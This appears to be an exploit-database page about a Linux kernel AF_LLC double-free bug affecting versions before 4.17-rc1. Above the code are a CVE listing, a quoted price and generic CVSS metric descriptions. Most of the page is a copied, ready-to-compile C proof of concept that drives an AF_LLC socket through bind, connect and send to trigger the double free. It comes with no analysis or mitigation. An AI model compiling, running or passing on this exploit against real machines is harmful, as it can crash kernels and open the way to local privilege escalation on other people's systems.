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Linux Kernel < 4.17-rc1 AF_LLC Double Free

CVE	Category	Price	Severity
CVE-2018-7757	CWE-399	$50,000	High

Author	Risk	Exploitation Type	Date
Jann Horn	High	Local	2018-05-04

CVSS	EPSS	EPSSP
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H	0	0

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2018050024

Below is a copy:

Linux Kernel < 4.17-rc1 AF_LLC Double Free

#define _GNU_SOURCE
#include <endian.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <errno.h>
#include <sched.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdio.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <stdint.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/socket.h>
  
struct sockaddr_llc {
 short  sllc_family;
 short  sllc_arphrd;
 unsigned char   sllc_test;
 unsigned char   sllc_xid;
 unsigned char sllc_ua;
 unsigned char   sllc_sap;
 unsigned char   sllc_mac[6];
 unsigned char   __pad[2];
};
  
void test()
{
 int fd = socket(AF_LLC, SOCK_STREAM, 0);
 char output[32] = "lo";
 socklen_t len;
 setsockopt(fd, SOL_SOCKET, SO_BINDTODEVICE, &output, 0x10);
 struct sockaddr_llc addr1 = {.sllc_family = AF_LLC, .sllc_sap = 2};
 bind(fd, (const struct sockaddr *)&addr1, sizeof(struct sockaddr_llc));
 struct sockaddr_llc addr2 = {.sllc_family = AF_LLC, .sllc_sap = 2};
 connect(fd, (const struct sockaddr *)&addr2, sizeof(struct sockaddr_llc));
  
 char msg[0x10] = "aaaa";
 send(fd, msg, 0x10, 0);
}
  
int main()
{
 test();
 return 0;
}

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